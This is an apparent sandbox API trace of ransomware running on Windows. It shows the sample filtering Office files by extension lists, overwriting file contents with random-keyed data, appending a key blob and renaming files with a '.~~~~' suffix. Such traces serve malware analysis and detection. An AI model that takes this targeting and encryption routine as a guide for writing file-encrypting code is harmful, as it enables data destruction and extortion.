	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".lnk") returned 0x0
	[0138.289] lstrlenW (lpString=".msp") returned 4
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".msp") returned 0x0
	[0138.289] lstrlenW (lpString=".pif") returned 4
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".pif") returned 0x0
	[0138.289] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0138.291] lstrlenW (lpString=".sqb") returned 4
	[0138.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".sqb") returned 0x0
	[0138.291] lstrlenW (lpString=".ost") returned 4
	[0138.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".ost") returned 0x0
	[0138.291] lstrlenW (lpString=".txt") returned 4
	[0138.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".txt") returned 0x0
	[0138.291] lstrlenW (lpString=".mdt") returned 4
	[0138.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".mdt") returned 0x0
	[0138.291] lstrlenW (lpString=".BDB") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".BDB") returned 0x0
	[0138.292] lstrlenW (lpString=".eql") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".eql") returned 0x0
	[0138.292] lstrlenW (lpString=".DBF") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DBF") returned 0x0
	[0138.292] lstrlenW (lpString=".EQL") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".EQL") returned 0x0
	[0138.292] lstrlenW (lpString=".FDB") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".FDB") returned 0x0
	[0138.292] lstrlenW (lpString=".EDB") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".EDB") returned 0x0
	[0138.292] lstrlenW (lpString=".DACPAC") returned 7
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.292] lstrlenW (lpString=".VHD") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".VHD") returned 0x0
	[0138.292] lstrlenW (lpString=".DBV") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DBV") returned 0x0
	[0138.292] lstrlenW (lpString=".dacpac") returned 7
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dacpac") returned 0x0
	[0138.292] lstrlenW (lpString=".sdf") returned 4
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".sdf") returned 0x0
	[0138.292] lstrlenW (lpString=".accdb") returned 6
	[0138.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".accdb") returned 0x0
	[0138.292] lstrlenW (lpString=".DBX") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DBX") returned 0x0
	[0138.293] lstrlenW (lpString=".MDT") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".MDT") returned 0x0
	[0138.293] lstrlenW (lpString=".SQB") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".SQB") returned 0x0
	[0138.293] lstrlenW (lpString=".vhd") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".vhd") returned 0x0
	[0138.293] lstrlenW (lpString=".bac") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".bac") returned 0x0
	[0138.293] lstrlenW (lpString=".mdf") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".mdf") returned 0x0
	[0138.293] lstrlenW (lpString=".BAK") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".BAK") returned 0x0
	[0138.293] lstrlenW (lpString=".BAC") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".BAC") returned 0x0
	[0138.293] lstrlenW (lpString=".dbs") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dbs") returned 0x0
	[0138.293] lstrlenW (lpString=".vhdx") returned 5
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".vhdx") returned 0x0
	[0138.293] lstrlenW (lpString=".NDF") returned 4
	[0138.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".NDF") returned 0x0
	[0138.294] lstrlenW (lpString=".dat") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dat") returned 0x0
	[0138.294] lstrlenW (lpString=".DBS") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DBS") returned 0x0
	[0138.294] lstrlenW (lpString=".CKP") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".CKP") returned 0x0
	[0138.294] lstrlenW (lpString=".edb") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".edb") returned 0x0
	[0138.294] lstrlenW (lpString=".PST") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".PST") returned 0x0
	[0138.294] lstrlenW (lpString=".dbf") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dbf") returned 0x0
	[0138.294] lstrlenW (lpString=".SQL") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".SQL") returned 0x0
	[0138.294] lstrlenW (lpString=".pst") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".pst") returned 0x0
	[0138.294] lstrlenW (lpString=".dbv") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dbv") returned 0x0
	[0138.294] lstrlenW (lpString=".SDF") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".SDF") returned 0x0
	[0138.294] lstrlenW (lpString=".dtxs") returned 5
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dtxs") returned 0x0
	[0138.294] lstrlenW (lpString=".db3") returned 4
	[0138.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".db3") returned 0x0
	[0138.295] lstrlenW (lpString=".OST") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".OST") returned 0x0
	[0138.295] lstrlenW (lpString=".dbx") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dbx") returned 0x0
	[0138.295] lstrlenW (lpString=".DB3") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DB3") returned 0x0
	[0138.295] lstrlenW (lpString=".DAT") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DAT") returned 0x0
	[0138.295] lstrlenW (lpString=".VHDX") returned 5
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".VHDX") returned 0x0
	[0138.295] lstrlenW (lpString=".ndf") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".ndf") returned 0x0
	[0138.295] lstrlenW (lpString=".DB") returned 3
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DB") returned 0x0
	[0138.295] lstrlenW (lpString=".sql") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".sql") returned 0x0
	[0138.295] lstrlenW (lpString=".MYD") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".MYD") returned 0x0
	[0138.295] lstrlenW (lpString=".DBT") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DBT") returned 0x0
	[0138.295] lstrlenW (lpString=".ACCDB") returned 6
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.295] lstrlenW (lpString=".fdb") returned 4
	[0138.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".fdb") returned 0x0
	[0138.295] lstrlenW (lpString=".bak") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".bak") returned 0x0
	[0138.296] lstrlenW (lpString=".myd") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".myd") returned 0x0
	[0138.296] lstrlenW (lpString=".DTXS") returned 5
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".DTXS") returned 0x0
	[0138.296] lstrlenW (lpString=".ckp") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".ckp") returned 0x0
	[0138.296] lstrlenW (lpString=".dbt") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dbt") returned 0x0
	[0138.296] lstrlenW (lpString=".db") returned 3
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".db") returned 0x0
	[0138.296] lstrlenW (lpString=".TXT") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".TXT") returned 0x0
	[0138.296] lstrlenW (lpString=".MDF") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".MDF") returned 0x0
	[0138.296] lstrlenW (lpString=".bdb") returned 4
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".bdb") returned 0x0
	[0138.296] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0138.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.297] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0138.298] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.298] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0138.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0138.298] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25828827178) returned 1
	[0138.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbbeda610, dwHighDateTime=0x1d60e1e)) 
	[0138.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825ba8
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825ba8 | out: hHeap=0x300000) returned 1
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf340
	[0138.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf340 | out: hHeap=0x300000) returned 1
	[0138.425] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0138.426] GetLastError () returned 0x0
	[0138.426] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0138.426] GetLastError () returned 0x0
	[0138.454] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.454] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.454] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.455] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.457] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.457] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.457] CloseHandle (hObject=0xc4) returned 1
	[0138.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf340
	[0138.457] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css.~~~~")) returned 1
	[0138.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf340 | out: hHeap=0x300000) returned 1
	[0138.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.587] GetLastError () returned 0x0
	[0138.587] RtlWakeConditionVariable () returned 0x0
	[0138.587] GetCurrentThreadId () returned 0x9f4
	[0138.587] GetCurrentThreadId () returned 0x9f4
	[0138.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0138.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825c18 | out: hHeap=0x300000) returned 1
	[0138.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a628
	[0138.587] lstrlenW (lpString=".scr") returned 4
	[0138.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".scr") returned 0x0
	[0138.588] lstrlenW (lpString=".cmd") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".cmd") returned 0x0
	[0138.588] lstrlenW (lpString=".dll") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dll") returned 0x0
	[0138.588] lstrlenW (lpString=".bat") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".bat") returned 0x0
	[0138.588] lstrlenW (lpString=".cpl") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".cpl") returned 0x0
	[0138.588] lstrlenW (lpString=".sys") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".sys") returned 0x0
	[0138.588] lstrlenW (lpString=".msc") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".msc") returned 0x0
	[0138.588] lstrlenW (lpString=".com") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".com") returned 0x0
	[0138.588] lstrlenW (lpString=".lnk") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".lnk") returned 0x0
	[0138.588] lstrlenW (lpString=".msp") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".msp") returned 0x0
	[0138.588] lstrlenW (lpString=".pif") returned 4
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".pif") returned 0x0
	[0138.588] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0138.591] lstrlenW (lpString=".sqb") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".sqb") returned 0x0
	[0138.591] lstrlenW (lpString=".ost") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".ost") returned 0x0
	[0138.591] lstrlenW (lpString=".txt") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".txt") returned 0x0
	[0138.591] lstrlenW (lpString=".mdt") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".mdt") returned 0x0
	[0138.591] lstrlenW (lpString=".BDB") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".BDB") returned 0x0
	[0138.591] lstrlenW (lpString=".eql") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".eql") returned 0x0
	[0138.591] lstrlenW (lpString=".DBF") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DBF") returned 0x0
	[0138.591] lstrlenW (lpString=".EQL") returned 4
	[0138.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".EQL") returned 0x0
	[0138.592] lstrlenW (lpString=".FDB") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".FDB") returned 0x0
	[0138.592] lstrlenW (lpString=".EDB") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".EDB") returned 0x0
	[0138.592] lstrlenW (lpString=".DACPAC") returned 7
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.592] lstrlenW (lpString=".VHD") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".VHD") returned 0x0
	[0138.592] lstrlenW (lpString=".DBV") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DBV") returned 0x0
	[0138.592] lstrlenW (lpString=".dacpac") returned 7
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dacpac") returned 0x0
